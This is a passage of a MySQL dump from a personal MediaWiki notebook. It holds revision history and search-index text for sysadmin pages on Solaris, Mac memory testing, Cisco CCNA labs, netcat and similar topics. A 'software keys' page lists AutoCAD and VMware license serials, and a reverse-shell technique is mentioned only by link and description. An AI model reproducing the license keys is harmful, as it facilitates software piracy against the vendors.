*/',1,'WikiAdmin','20101102181832',0,0,6307,1206),(1208,353,1206,'/* Resources */',1,'WikiAdmin','20101102195437',0,0,8533,1207),(1209,353,1207,'/* Resources */',1,'WikiAdmin','20101102200151',0,0,8709,1208),(1210,353,1208,'/* Resources */',1,'WikiAdmin','20101102201909',0,0,8846,1209),(1211,353,1209,'/* Resources */',1,'WikiAdmin','20101102203121',0,0,9031,1210),(1212,353,1210,'/* Resources */',1,'WikiAdmin','20101102212047',0,0,9106,1211),(1224,353,1222,'/* Resources */',1,'WikiAdmin','20101104193409',0,0,9584,1212),(1233,354,1231,'New page:   == History of HPC ==  Some interesting photos of pioneering HPC systems can be found [http://www.thocp.net/hardware/supercomputers.htm here]   == CUDA / OpenCL ==  See the page on CUDA',1,'WikiAdmin','20101106223722',0,0,186,0),(1234,355,1232,'New page: == 32 Bit Compatibility Libs ==  Different distors require you to install 32-bit compatibility libraries in slightly different ways.  \'\'\'Ubuntu\'\'\'   apt-get install ia32-libs  You can also...',1,'WikiAdmin','20101106232122',0,0,724,0),(1237,356,1235,'New page:  gPXE is an extremely useful tool which provides a plethora of network boot options such as booting using a wireless connection, booting to an iSCSI LUN, and many more options.   A good ge...',1,'WikiAdmin','20101109185439',0,0,787,0),(1238,356,1236,'',1,'WikiAdmin','20101109190126',0,0,905,1237),(1239,356,1237,'/* Command Line */',1,'WikiAdmin','20101111174746',0,0,1087,1238),(1328,356,1326,'/* Command Line */',1,'WikiAdmin','20101221212452',0,0,1155,1239),(1369,356,1367,'/* Command Line */',1,'WikiAdmin','20110113140803',0,0,1319,1328),(1240,357,1238,'New page:  It seems an increasing number of projects are using Rails, and so I\'ve been learning a bit more about it. I\'ll be keeping track of notes on it as I go here.  Note: One very fast way to ge...',1,'WikiAdmin','20101111195834',0,0,322,0),(1241,358,1239,'New page: == General Howtos ==  http://www.tldp.org/HOWTO/html_single/UPS-HOWTO/  (See the notes regarding use SeaDoo marine replacement batteries for some APC UPSes.)  http://www.linux.com/archive/...',1,'WikiAdmin','20101112133228',0,0,377,0),(1260,358,1258,'',1,'WikiAdmin','20101129130312',0,0,1174,1241),(1261,358,1259,'/* APCUPSD config */',1,'WikiAdmin','20101129130934',0,0,1400,1260),(1262,358,1260,'/* APCUPSD config */',1,'WikiAdmin','20101129131030',0,0,1518,1261),(1244,359,1242,'New page: Here are notes regarding a few tools which can be used to manage data center racks and equipment, create rack diagrams, hold system notes, etc.   http://racktables.org/  http://sourceforge...',1,'WikiAdmin','20101115183910',0,0,1585,0),(1246,360,1244,'New page: == Intro ==  IDL is a vector programming language created in the 1970s. There is a good description of the language in the [http://en.wikipedia.org/wiki/IDL_%28programming_language%29 wiki...',1,'WikiAdmin','20101117163517',0,0,6429,0),(1247,360,1245,'/* License Troubleshooting */',1,'WikiAdmin','20101117195545',0,0,7538,1246),(1248,360,1246,'/* License Manger */',1,'WikiAdmin','20101117200540',0,0,8318,1247),(1249,360,1247,'/* Errors and General Issue */',1,'WikiAdmin','20101117200911',0,0,8479,1248),(1250,360,1248,'/* Intro */',1,'WikiAdmin','20101118143739',0,0,8680,1249),(1251,360,1249,'/* Intro */',1,'WikiAdmin','20101118143840',0,0,8780,1250),(1263,360,1261,'/* License Manger */',1,'WikiAdmin','20101129150201',0,0,8977,1251),(1252,361,1250,'New page: == Intro ==  Both gzip and bzip can obtain significant performance increases from a parallel implementation.  My initial testing with pigz vs. gzip shows a 3 to 4 fold increase in compress...',1,'WikiAdmin','20101118205404',0,0,3061,0),(1264,362,1262,'New page: There are some great tools is Linux for manipulating PDFs. Here are a few to experiment with:  == pdftk ==  The [http://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/ PDF Toolkit] (pdftk) an...',1,'WikiAdmin','20101130132843',0,0,1010,0),(1267,363,1265,'New page: Eventually I\'m going to build a MythTV box.    Possible Recorders  I wonder what I\'ll use to record the video?  http://www.newegg.com/Product/Product.aspx?Item=N82E16815116030    Possible ...',1,'WikiAdmin','20101207014303',0,0,193,0),(1268,364,1266,'New page: I love the classic Neverwinter Nights games series by Bioware. My wife and love to play it.   Even better - it runs perfectly with native Linux binaries provided from Bioware.   There are ...',1,'WikiAdmin','20101208020947',0,0,1495,0),(1269,364,1267,'/* 64-bit Issues */',1,'WikiAdmin','20101208032232',0,0,1757,1268),(1270,364,1268,'/* Other Sites */',1,'WikiAdmin','20101208032518',0,0,1860,1269),(1271,364,1269,'/* Other Sites */',1,'WikiAdmin','20101208032650',0,0,2052,1270),(1274,364,1272,'/* Basic Install */',1,'WikiAdmin','20101209192522',0,0,2220,1271),(1275,365,1273,'New page:  There are so many cool things to do with netcat. Here are some guides, and I\'ll add tips and tricks for using it as I go.  == Guides ==  http://www.adamsinfo.com/netcat-tutorial-for-linux...',1,'WikiAdmin','20101210131947',0,0,795,0),(1277,366,1275,'New page: == Overview ==  Home page is: http://www.mcelog.org/ and contains good general information as well as configuration, use of triggers, etc.   From the Freshmeat [http://freshmeat.net/projec...',1,'WikiAdmin','20101212171707',0,0,3087,0),(1283,367,1281,'New page: == Getting Started ==  Download the latest test and stable versions of the kernel patch from [http://grsecurity.net/test.php here]  Some very general guides:  http://www.howtoforge.com/har...',1,'WikiAdmin','20101216234454',0,0,726,0),(1286,367,1284,'/* = NX/XD CPU Flags */',1,'WikiAdmin','20101217000853',0,0,730,1283),(1287,367,1285,'/* = NX and XD CPU Flags */',1,'WikiAdmin','20101217000913',0,0,727,1286),(1288,367,1286,'/* Getting Started */',1,'WikiAdmin','20101217001050',0,0,1187,1287),(1324,367,1322,'/* Testing grsec */',1,'WikiAdmin','20101221210011',0,0,1928,1288),(1284,368,1282,'New page:  Phoronix [http://www.phoronix.com/scan.php?page=article&item=linux_2637_video&num=2 reported] on a 200 line kernel patch which greatly improved desktop performance.  A Red Hat developer t...',1,'WikiAdmin','20101216235758',0,0,974,0),(1289,369,1287,'New page:  After installing OpenSuse, these things are nice, and are one click installs:  http://opensuse-community.org/Restricted_Formats  http://opensuse-community.org/SubpixelHinting',1,'WikiAdmin','20101217002350',0,0,175,0),(1290,370,1288,'New page: == Tab Sites ==  Songsterr is pretty good. Flash based tab player, free basic access:  http://www.songsterr.com/a/wa/song?trackPos=0&id=369  http://www.songsterr.com/a/wa/song?id=30225  Gu...',1,'WikiAdmin','20101217130622',0,0,434,0),(1291,370,1289,'/* Linux Music Distros */',1,'WikiAdmin','20101217155027',0,0,784,1290),(1292,370,1290,'/* Linux Music Distros */',1,'WikiAdmin','20101217155352',0,0,966,1291),(1293,370,1291,'/* Linux Music Distros */',1,'WikiAdmin','20101217155913',0,0,988,1292),(1294,370,1292,'/* Linux Music Software */',1,'WikiAdmin','20101217165610',0,0,1156,1293),(1295,370,1293,'/* Hardware Interfaces */',1,'WikiAdmin','20101217221431',0,0,1287,1294),(1296,370,1294,'/* Linux Music Software */',1,'WikiAdmin','20101217221723',0,0,1633,1295),(1298,370,1296,'/* Linux Music Software */',1,'WikiAdmin','20101219152626',0,0,1791,1296),(1341,370,1339,'/* Tab Sites */',1,'WikiAdmin','20110102162749',0,0,2032,1298),(1351,370,1349,'/* Midi */',1,'WikiAdmin','20110108190319',0,0,2522,1341),(1352,370,1350,'/* Books */',1,'WikiAdmin','20110108190559',0,0,2614,1351),(1353,370,1351,'/* Linux Music Software */',1,'WikiAdmin','20110108190639',0,0,2675,1352),(1354,370,1352,'/* Linux Music Software */',1,'WikiAdmin','20110108190830',0,0,2725,1353),(1355,370,1353,'/* Lesson Sites */',1,'WikiAdmin','20110109163607',0,0,2766,1354),(1356,370,1354,'/* Scales */',1,'WikiAdmin','20110109163707',0,0,2848,1355),(1357,370,1355,'/* Scales & Chords */',1,'WikiAdmin','20110110144151',0,0,2930,1356),(1313,371,1311,'New page: \'\'\'Getting Started\'\'\'  LSI offers the MegaRAID CLI tool, which is a bit cryptic to use. Here are some pointers to get started with it.  Download it from the LSI website - look for a recent...',1,'WikiAdmin','20101220200431',0,0,1166,0),(1314,371,1312,'',1,'WikiAdmin','20101220200741',0,0,2043,1313),(1331,371,1329,'',1,'WikiAdmin','20101227194426',0,0,2716,1314),(1334,371,1332,'',1,'WikiAdmin','20101229162439',0,0,2933,1331),(1335,371,1333,'',1,'WikiAdmin','20101229162702',0,0,3009,1334),(1318,372,1316,'New page:  Sure - RSS is great. But I think I\'ll list these here too:  http://danielmiessler.com/study/tcpdump/  http://hyperboleandahalf.blogspot.com/  http://xorl.wordpress.com/',1,'WikiAdmin','20101221201447',0,0,169,0),(1319,373,1317,'New page:  \'\'\'Contact Management\'\'\'  SugarCRM  Use LDAP for your personal address book. Hey, why not?  \'\'\'Note taking stuff:\'\'\'  http://www.linux.com/learn/tutorials/322137-finding-evernote-replacem...',1,'WikiAdmin','20101221202339',0,0,202,0),(1375,373,1373,'',1,'WikiAdmin','20110117155334',0,0,581,1319),(1322,374,1320,'New page: I love phpchain - it a nifty little web based method to manager your passwords, stores them in an encrypted database, easy to use interface, etc.  Latest version is here:  http://sourcefor...',1,'WikiAdmin','20101221203505',0,0,266,0),(1323,375,1321,'New page: http://www.gnucitizen.org/blog/reverse-shell-with-bash/  A wonderful implementation of netcat with a simple bash script on the target that created a network node in /proc to read and write...',1,'WikiAdmin','20101221205314',0,0,1228,0),(1326,376,1324,'New page:  How do we manage all this stuff!?  http://racktables.org  Well known application, has various plugins available.    http://racksmith.net/  Fancy interface, and a neat campus mapping utili...',1,'WikiAdmin','20101221211847',0,0,260,0),(1327,377,1325,'New page:   Binary search trees are fun!  http://en.literateprograms.org/Binary_search_tree_%28C%29  Also see red black tree:  http://en.literateprograms.org/Binary_search_tree_%28C%29  http://stack...',1,'WikiAdmin','20101221212107',0,0,335,0),(1329,378,1327,'New page:   Sandia National Labs provides a very interesting DNSSEC [http://dnsviz.net/ visualization tool]  Some good general info on implementing dnssec is [http://www.crypt.gen.nz/papers/dns_secu...',1,'WikiAdmin','20101222183704',0,0,438,0),(1330,378,1328,'',1,'WikiAdmin','20101222183805',0,0,576,1329),(1332,379,1330,'New page:   == Plugins ==  http://developer.pidgin.im/wiki/ThirdPartyPlugins  http://code.google.com/p/pidgin-knotifications/  http://lifehacker.com/356291/ten-must+have-plug+ins-to-power-up-pidgin ...',1,'WikiAdmin','20101229153756',0,0,530,0),(1333,380,1331,'New page:  I keep meaning to play around with this at some point. Each time I try the packages though they inevitably seem broken. Might have to actually figure it out some day . . .   http://wiki.a...',1,'WikiAdmin','20101229154242',0,0,452,0),(1336,381,1334,'New page: Just some decent sites on SSH port forwarding, local and remote:  http://wiki.freaks-unidos.net/ssh-port-forwarding  http://www.debianadmin.com/howto-use-ssh-local-and-remote-port-forwardi...',1,'WikiAdmin','20101230184054',0,0,351,0),(1337,382,1335,'New page:  == Instruments ==  \'\'\'Guitars\'\'\'  Logitech PS3 / PS2 Wireless Guitar Controller  ASIN: B001NTBWK4 / Product Number: 939-000128 / Logitech Number: CES10040  http://www.amazon.com/Logitech-...',1,'WikiAdmin','20101231172206',0,0,760,0),(1338,382,1336,'/* Instruments */',1,'WikiAdmin','20101231172524',0,0,933,1337),(1339,382,1337,'',1,'WikiAdmin','20101231172827',0,0,1056,1338),(1340,382,1338,'',1,'WikiAdmin','20101231173726',0,0,1172,1339),(1345,383,1343,'New page: == Getting Mirror ==  Although it is a bit old, I\'ve found this tool to be pretty handy to use to mirror the contents of an FTP site someplace. It allows for an automated mirror to do done...',1,'WikiAdmin','20110104134823',0,0,3120,0),(1348,383,1346,'/* Documentation */',1,'WikiAdmin','20110104180356',0,0,3258,1345),(1349,384,1347,'New page: bbcp is a parallel data transfer utility from Stanford Linear Accelerator Center (SLAC) which supports some interesting options. It can be used to transfer large files, and it can break th...',1,'WikiAdmin','20110106212200',0,0,1331,0),(1350,384,1348,'/* Recursive Directories */',1,'WikiAdmin','20110107142525',0,0,1095,1349),(1359,384,1357,'',1,'WikiAdmin','20110111131455',0,0,2179,1350),(1367,384,1365,'',1,'WikiAdmin','20110112185804',0,0,2362,1359),(1358,385,1356,'New page:  == Tunnel One App ==  Run a single app tunneled through rdesktop rather than an entire desktop environment with seamlessrdp:  http://www.cendio.com/seamlessrdp/  http://www.linux.com/arch...',1,'WikiAdmin','20110110150352',0,0,376,0),(1360,386,1358,'New page: Cetus is a a Source-to-Source Compiler Infrastructure for C Programs. This NSF sponsored project is being developed by Purdue University.  The official home page is [http://cetus.ecn.purdu...',1,'WikiAdmin','20110111141408',0,0,1191,0),(1363,387,1361,'New page:  Send the output of %pre and $post scripts to the graphical display:  http://www.spinics.net/linux/fedora/kickstart/msg07687.html    %post --nochroot --interpreter /bin/sh rxvt -fn fixed -...',1,'WikiAdmin','20110111181949',0,0,229,0),(1364,387,1362,'',1,'WikiAdmin','20110111182005',0,0,228,1363),(1366,388,1364,'New page:  \'\'\'DNS sec visualizer\'\'\'   http://dnsviz.net/  Great tool developed by Sandia National Lab which graphically shows the DNS sec chain from the root server up.   \'\'\'Firefox Plugins\'\'\'  DNSS...',1,'WikiAdmin','20110112183730',0,0,255,0),(1370,389,1368,'New page:  Download the Cirtix client for the [http://www.citrix.com/English/ss/downloads/index.asp Citrix site].  (Look under: XenApp --> Presentation Server 4.0 for Unix --> Linux)  Download and i...',1,'WikiAdmin','20110113181534',0,0,244,0),(1371,390,1369,'New page:  \'\'\'DL580 G7\'\'\'  DL580 G7 Quick specs [http://h18004.www1.hp.com/products/quickspecs/DS_00197/DS_00197.pdf here]  Power specs [http://h18000.www1.hp.com/products/quickspecs/13669_na/13669_...',1,'WikiAdmin','20110113214730',0,0,700,0),(1372,390,1370,'',1,'WikiAdmin','20110113215835',0,0,1023,1371),(1378,391,1376,'New page: [http://www.modsecurity.org/ Mod_security] for Apache is a great tool. There are a few things that might creep up with using it however.   \'\'\'Cpanel Per Domain Control\'\'\'  http://linuxserv...',1,'WikiAdmin','20110122030843',0,0,629,0),(1380,391,1378,'',1,'WikiAdmin','20110122195529',0,0,934,1378),(1381,391,1379,'',1,'WikiAdmin','20110122195928',0,0,1057,1380),(1382,391,1380,'',1,'WikiAdmin','20110122200534',0,0,1134,1381),(1379,392,1377,'Created page with \"(Also see [[Webserver Benchmark Tools]])  Nessus  A defacto standard vulnerability scanning tool.  [http://cirt.net/nikto2 Nikto]  A perl script which analyzes a webserver for co...\"',1,'WikiAdmin','20110122160035',0,0,198,0);
/*!40000 ALTER TABLE `mw_revision` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_searchindex`
--

DROP TABLE IF EXISTS `mw_searchindex`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_searchindex` (
  `si_page` int(10) unsigned NOT NULL default '0',
  `si_title` varchar(255) NOT NULL default '',
  `si_text` mediumtext NOT NULL,
  UNIQUE KEY `si_page` (`si_page`),
  FULLTEXT KEY `si_title` (`si_title`),
  FULLTEXT KEY `si_text` (`si_text`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_searchindex`
--

LOCK TABLES `mw_searchindex` WRITE;
/*!40000 ALTER TABLE `mw_searchindex` DISABLE KEYS */;
INSERT INTO `mw_searchindex` VALUES (2,'kde solaris install',' '),(3,'solaris install x86',' solarislogo center frame installing solaris on x86 platform installing solaris on x86 platform installing solaris on x86 platform to configure installed languages have the install cd in the drive #localeadm u8e28093h #give help #localeadm u8e28093a nam u8e28093d cdrom cdrom0 adds package nam north america from directory specified cdrom dt config info etc dt config is a secondary location kde 3 4 3 notes install packages in order per directions run the dt login script build the language localization and ensure the four files are in the dt login directory ensure en_us-utf 8 language is installed or kde will not show up in dt login screen i did not have to run the runconfigure language localization scripts once the language files were in the directory and the system language was installed kde showed up already system configuration #sys-unconfig allows you to reconfigure the x and network settings iprb0 is default nic path echo path for sh bash path path dir to script;export path may need to add path to directory were you are trying to execute a script in ownerships to change the mode on a file or directory i prefer the octal 0-7 format r -- read has value of 4 w -- write has value of 2 x -- execute has value of 1 rwxrwxrwx chmod 777 filename rw-rw-rw- chmod 666 filename r--r--r-- chmod 444 filename -w--w--w- chmod 020 filename --x--x--x chmod 001 filename --------- chmod 000 filename to make it recursive use the -r option e g chmod -r 777 directoryname networking interface iprb0 ifconfig -l or -a to show all interfaces java java_home usr java; export java_home resources solariscentral forum network config network config network config note the default shell in the cde is sh - this will cause keyboard mapping issues with arrow keys esc key etc in vi and whatnot change shell to bash with bin bash instead adding the kde environment adding the kde environment adding the kde environment after solaris is installed with the default java desktop install kde as follows use the install cd select window managers category and select as follows kde_solaris_install frame center figure 3 solaris web start installer component selection window integrating kde as a selectable desktop session integrating kde as a selectable desktop session integrating kde as a selectable desktop session after you have installed all the kde 3 x files on your system if you want kde 3 x integrated into your login screen with other desktop systems like cde you also need to execute this script opt sfw kde dtlogin install-dtlogin also you need to add opt sfw kde bin to your path environment variable and opt sfw kde lib to your ld_library_path environment variable for example if you are using c shell as your login shell you can add the following line to your cshrc file to add opt sfw kde bin to your path environment variable set path path opt sfw kde bin add the following line to your login file to add opt sfw kde lib to your ld_library_path environment variable setenv ld_library_path ld_library_path opt sfw kde lib now you can reboot your system and wait for the login screen to show up upgrading kde to 3 5 5 upgrading kde to 3 5 5 upgrading kde to 3 5 5 '),(4,'windows command line tricks',' magick tricks magick tricks magick tricks cmd prompt w admin rights runas user localmachinename administrator cmd manually register a dll regsvr32 nameoffile extension '),(5,'solarislogo',' '),(6,'mac os x - memtest',' background originally written for verizon field services technicians macs often have memory related issues which can be somewhat challenging to diagnose the apple service diagnostic software as well as the apple hardware test do not have robust memory checking components as a result these memory tests are not completely reliable and can give a false pass without a hardware dimm sodimm tester we have to rely solely on software utilities a variety of options and running multiple tests is often helpful if non-apple supplied memory is used in a system appleu8e28099s standard response is that the 3rd party memory is at fault this will be there stance whenever non-apple memory is used this of course does not mean the memory is bad but rather that they refuse to support it this again is a case where having multiple methods of testing is favorable the asd and aht tests can be run from their respective diagnostic cds in addition a freeware utility can be run while logged into a mac in single user mode that will allow testing of the full system memory the homepage for this utility can be found here installing installing installing the utility itself is attached here in zip format when it is extracted the following instructions apply simply double-click the memtest disk image and when prompted for the unlock code enter the following character sequence r8j43s03t5vh please note that your download key is case sensitive and must be entered exactly as shown please print this email for your records thanks for supporting the memtestosx project tony scaminaci installation excerpted from readme memtest uses the standard os x package installer simply double-click on the package file and install it just as you would any other application the installer will create the memtest folder in your boot volume volume\'s applications folder due to some issues with apple apple\'s installer program i strongly recommend choosing the default install location current macos x boot volume note that there are no other components installed - the memtest folder is the sole product of the installer so you can always move the memtest folder elsewhere after installation if desired instructions instructions instructions full instructions can be found in the installation directory default is boot volume applications however the following is excerpted here as it is highly relevant to the use of this utility running memtest tony scaminaci memtest is best run in os x x\'s single-user mode in this mode nearly all of the installed ram can be tested whereas under the full os a considerable portion of memory is tied up by os x processes and the quartz window manager this is especially true in macos releases later than 10 3 5 running memtest in single-user mode maximizes the effectiveness of the memory test to boot into single-user mode hold down the command and s keys during startup you will be automatically logged in as the user root to a minimal command line environment assuming that the memtest folder resides in your applications folder a typical invocation of memtest would be the following applications memtest memtest all 3 -l this will run three passes of the test suite testing all available free memory the -l switch instructs memtest to save the transcript of the run to a file named memtest log the log file is written to the directory from which you invoked memtest - this is known as the current working directory normally when a terminal window is launched the working directory is set to users login_name where login_name is the account name you logged in with note that when running in single-user mode you are automatically logged in as the root user so the default current working directory is private var root alternatively you could cd into the memtest folder and run the program using the command memtest all 3 -l i recommend running at least 3 to 5 passes to obtain the best test coverage of marginal or intermittently failing dimms to test less than all of the available free memory replace the all option with the number of megabytes to test e g 10 100 512 etc the number entered is assumed to be in mb for example the command applications memtest memtest 1150 3 -l will test 1150 mb of the installed memory assuming this much is available for testing memtest can also be run from a terminal window in a fully-booted os x environment multiuser mode however considerably less memory will be free for testing making the results less reliable double clicking the memtest icon in the finder will launch the program with a set of defaults designed to test all available memory in a single pass memtest can be immediately terminated at any time by typing the ctrl-c key combination this is the standard unix command for quitting programs run from the command line note that this key combo also works when memtest is launched from the finder as long as the key combo is pressed while the terminal window is the front most window '),(7,'creating remedy macros',' this procedure provides instructions for on how to record a macro with or without using variables a macro is a term used to describe the recording of key strokes clicks or data in order to save in a reusable search form without re-entering the information 1 logon to the impact remedy user tool this is located on most desktops 2 determine which form you want to record the macro against 3 from the menu bar select file then open select the form you are recording the macro against and click on search 4 from the menu bar select edit then clear all this is to ensure that there are no default values that will be recorded as part of the macro a from the menu bar select view then ensure macro bar is check off when the macro bar is displayed you will see a red dot icon a gray square icon and a drop down box in your remedy tool bar to begin recording your macro click the red dot 5 to create the search criteria that will be a part of the macro you can do one of the following; a type or select the search criteria in each field that you want to pull data on i example select the u8e2809cassigned to deptu8e2809d you wish to search for from the drop down list ii example type your remedy id into the u8e2809cassigned to techu8e2809d field to pull records assigned to you b click the advanced button located in the upper right corner of the screen and the advanced search bar will be displayed on the bottom of the screen if you use the advanced search bar you must click on the labels for each field and the label will be placed on the bar to build the search string this will allow you to search for multiple entries in the same field i example \'assigned to dept\' telecom-calif il tx and \'assigned to dept\' telecom-new york 6 once you have build your search argument click the search button in the upper right corner or the screen 7 when the results list is displayed to stop recording the macro click the green square on the macro bar 8 you will now be prompted to name your macro in the macro name field enter the name for your macro you can enter up to 30 characters 9 in the help text field enter a description of the macro and its functions if you would like to easily identify the function of the macro 10 click save to end the recording session and save the macro if you want to exit the recording without saving the macro click cancel '),(8,'sago linux notes',' sago linux notes tty autologins tty autologins tty autologins freebsd edit etc ttys change the desired line to and \'autologin\' like dev ttys7 autologin usr local libexec locate updatedb then run locate centos the supportd service can be installed yum install supportd settings are saved in debian '),(1,'main page','  welcome to the lyceum   this is a wiki i\'ve put together essentially as an on-line notebook to allow me a central repository of notes accumulated in work through research and to save myself the headache of trying to find the post-a-note bit of scrap papper or other useless medium i may have written something down on and i can conveniently access it too so bonus i\'ll be adding and copying information here focused primarily on it related fields - linux solaris cisco networking etc and likely branching it off into other more esoteric areas as well if you have stumbled upon it - welcome if you like what you see here you may also want to check out my blog cheers pete  indicies  an index of examples of technical of documentation articles may be found at technical article index an index of all pages is at special allpages  note about access  as this is my personal wiki anonymous public account activation and editing is disabled should you wish to have an account please just let me know you may contact me at relative dot prime at gmail dot com consult the user user\'s guide for information on using the wiki software getting started getting started getting started configuration settings list mediawiki faq mediawiki release mailing list '),(9,'software keys',' software keys  autocad   autocad 2000 2003 and other autodesk products master key 400-12345678t4ed6p 339-25020310  vm-ware   windows 99n60-y6cdp-26lel-40hlj 99h4m-ydgf2-24lek-40htx 9chf4-y4f62-2dpg6-42q1h 99nfm-y6afl-24376-42601 930d1-yfc4l-2flg7-40kad linux 9ahdx-yf320-196a6-41598 9anf9-yfq8j-13326-41430 '),(10,'ccna class notes',' __forcetoc__ ciscologo frame right cisco certified network associate class notes - st pete college ccna 1 ccna 1 ccna 1  networking bascis   rewiring your pod  erase startup-config #clear config in nvram reload config t hostname routerb wr #to save  password recovery  config register 0x2102 default value bits 0 1 2 3 boot filed 2101 boot ios rom 2102 full ios flash bit 6 ignore nvram 0x2142 #ignore nvram ctrl u8e28093 break during post to get to rom mon o #displays current config register o r 0x2142 #set to 2142 hex i #initialize once in ios copy star run #copies nvram into running config config t config-register 0x2102 sh run #shows current passwords change password s copy run star #save modified settings to nvram sh ver #verify config register is 0x2102 now power off and on or \'reload\'  initial router config  five passwords 1 virtual terminal sh line to view line status or sh session to show current telnet session line vty 0 4 login password 2 console password line con 0 3 auxiliary password line aux 0 4 privileged mode u8e28093 level 15 commands a enable password type 7 u8e28093 weak password b enable secret md5 5 encrypt all passwords service password-encrypt  global config   enable config t hostname routerb no ip domain-lookup stops ios searching for a dns server in case of typos no exec-timeout disable telent time out period  interface config   config-if int s0 0 or int s 0 ip address 172 16 20 2 255 255 255 0 bandwidth 56 int s 0 1 ip address 172 16 40 1 255 255 255 0 bandwidth 56 no shutdown show controllers serial 0 0 to display dce dte status  clock rate setting   int s0 0 clock rate 56000 int s0 1 clock rate 56000 sh run review total config sh int status of interfaces sh ip int brief brief status no shutdown to bring an interface administratively up if an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the dce or dte side u8e28093 it could be the other routeru8e28099s settings  clock setting   clock set 21 30 00 jan 18 2007 sh clock  tftpu8e28099ing between routers   address the e0 ports so they are on same lan verify connectivity with ping on router a show flash highlight & copy the ios filename on router a tftp-server flash ios filename on client router s copy tftp flash when prompted enter ios filename  configuring dhcp  config t service dhcp ip dhcp pool 10-net 10-net is whatever name you wish network 172 16 0 0 255 255 255 0 router dhcp-config # default-router 172 16 x 1 dns-server 172 16 x 3 netbios-name-server 72 16 x 4 domain-name xyz net exit ip dhcp excluded-address 172 16 x 1 172 16 x 10 will cause first ip to be 172 16 x 11  stopping starting dhcp   no service dhcp service dhcp restarts  address resolution protocol  arp u8e28093g displays cache arp u8e28093s assigns static entry arp u8e28093d removes entry  ip multicasting   song mp3 should be in livecaster folder also freeamp exe and verify you can ping the multicast server user network spy and view packets look for the multicast in freeamp enter in the url box rtp port number ccna 2 ccna 2 ccna 2  routers and routing basics   tftp   sh flash tells filename size etc copy flash run tftp booting from tftp router config #boot system tftp  cdp   routerb config # int s0 routerb config-if #cdp enabled routerb config-if #int s1 routerb config-if #cdp enabled sh cdp int #shows status of cdp advertisements on interfaces sh cdp neighbors sh cdp neighbors detail router odr #enables odr on hub router  configuring vty usernames & pw  routerb config #username admin privilege 15 password guru configure vty to use a local database rather than password prompt routerb config # line vty 0 4 routerb config-line #no password routerb config-line #login local  creating a new user level and defining access   routerb config #username support privilage 7 password novice routerb config #privilege exec level 7 show star routerb config #privilege exec level 7 configure terminal routerb config #privilege configure level 7 interface routerb config #privilege interface level 7 no shut show privileges #show your current privilege level sh users #shows connected users and lines clear #bumps that line ctrl-shift-6 x default escape sequence routerb config-line #login routerb config-line #escape-sequence 27 #sets escape seq to ascii 27 esc  rip   routerb config #router rip routerb config-router #version 2 #uses ver 2 subnetting routerb config-router #network 172 16 0 0 sh ip route # views routing tables sh ip protocol # view info on rip timers tracert # view what route to dest is active  static routes   add static routes for routerb ip route 172 16 10 1 255 255 255 0 172 16 20 1 ip route 172 16 50 1 255 255 255 0 172 16 40 2 no ip route 172 16 10 1 255 255 255 0 # to remove route floating static route routerb config #ip route 172 16 50 1 255 255 255 0 172 16 50 1 255 255 255 0 130  host tables   routerc config #ip host ra 172 16 10 1 routerc config #ip host rc 172 16 50 1 sh hosts ip name-server #configures dns server ip no ip domain-lookup #disables dns lookup  alias   alias exec #privileged mode alias configure #global config mode alias interfaces #interfece config mode sh aliases misc sh run int s0 #greps for that int sh run int #shows running config for that int  acls   in real world they don\'t work well when applied to eth in or serial out interfaces examples access-list 5 permit 172 16 30 1 #defines the rule line vty 0 4 #selects interface access-list 5 in #set acl and direction sh access list #view acl parameters access-group needs to have an u8e2809cipu8e2809d preface in the command ip access-group in no ip-access list 5 #removes list if in interface mode only remove it from that interface and not globally ccna 3 ccna 3 ccna 3  switching basics and intermediate routing   ccna 3 final exam notes    0 clear configs  cat clear config all reset ios erase star reload router ios erase nvram vlan database no vtp password vtp transparent vtp client exit to apply changes  1 hostname and ips  cat hostname ct ios set system name cat set int sc0 172 16 10 2 255 255 255 0 172 16 10 255 ios int vlan 1 ip no shut  2 configure trunk lines  cat set trunk 2 3 on dot1q set trunk 2 4 on dot1q sh trunk ios int fa0 11 swtchport mode trunk switchport trunk allowed vlan 1 sh int fa0 11 switchport ping from distro to access to confirm trunking functionality  3 switch wins root spanning tree  cat set spantree root 1 ios spanning-tree vlan 1 priority 1 sh spanning-tree vlan 1 in catos sh trunk will show mac of root switch and cat switch mac to tell if it it\'s root  4 enable uplinkfast on 2900  ios span uplink fast  5 vtp client server & vtp secure  cat set vtp domain block1 mode transparent sh vtp domain set vtp mode server switch#vtp password water ios vtp mode transparent client server vtp domain block1 no vlan # - to erase a vlan from config sh vtp status sh vlan vtp domain password vlans should propagate from distro to access  6 assign ports to vlan on catalyst 2900  ios int fa0 1 switchport access vlan 2 3  7 create vlan on distro switch  cat set vlan 2 name groupa set vlan 3 name groupb  8 inter vlan routing using external router  on distro switch set port duplex 2 14 full set port name 2 14 blah set trunk 2 14 on dot1q sh trunk 2 14 on router inf fa0 0 full duplex no ip address no shut int fa0 0 1 2 3 config sub interface encap dot1q 1 2 3 ip address 172 16 10 x 255 255 255 0 sh int fa0 0 sh ip int br sh ip route set ip ip\'s on pc pc\'s to corresponding network int on boarder router e g host a gateway 172 16 20 1 ping from each host to gateway and to each other to confirm inter vlan routing note you may not be able to ping from boarder router to access distro this does not matter as you can ping from host to boarder etc  9 ospf eigrp and route propagation  eigrp int ser 0 0 ip address router eigrp 10 as number network 172 16 10 0 advertises network network 192 168 50 0 route may be auto-summarized if discontinuous network this may affect routing int ser 0 0 clockrate 56000 on dce side sh controllers int serial 0 0 for dce dte mode bandwidth 56 no shut int lo0 1 2 ip address 192 168 50 x 255 255 255 252 30 ospf router ospf 1 ospf process number network x x x x 0 0 0 255 area 0 advertises network sh ip route sh ip ospf int serial 0 0 sh ip ospf neighbor clear ip ospf process clears ospf routing process ping from each host to loopback interfaces out outside router  8 ospf authentication  int serial 0 0 ip ospf message-digest-key 1 md5 router ospf 1 area 0 auth message-digest enables md5 for area 0 debug ip ospf events helps to isolate md5 issues etc as update packets are sent u all debug off ccna 4 ccna 4 ccna 4  wan technologies  final practical configuration notes  frame relay   edmonton config t int s0 0 encapsulation frame-relay no shut int s0 0 20 point-to-point desc link to seattle ip address 192 168 1 1 255 255 255 0 frame-relay interface-dlci 20 router eigrp 100 network 192 168 1 0 calgary int s0 0 encapsulation frame-relay no shut int s0 0 30 point-to point desc link to edmonton 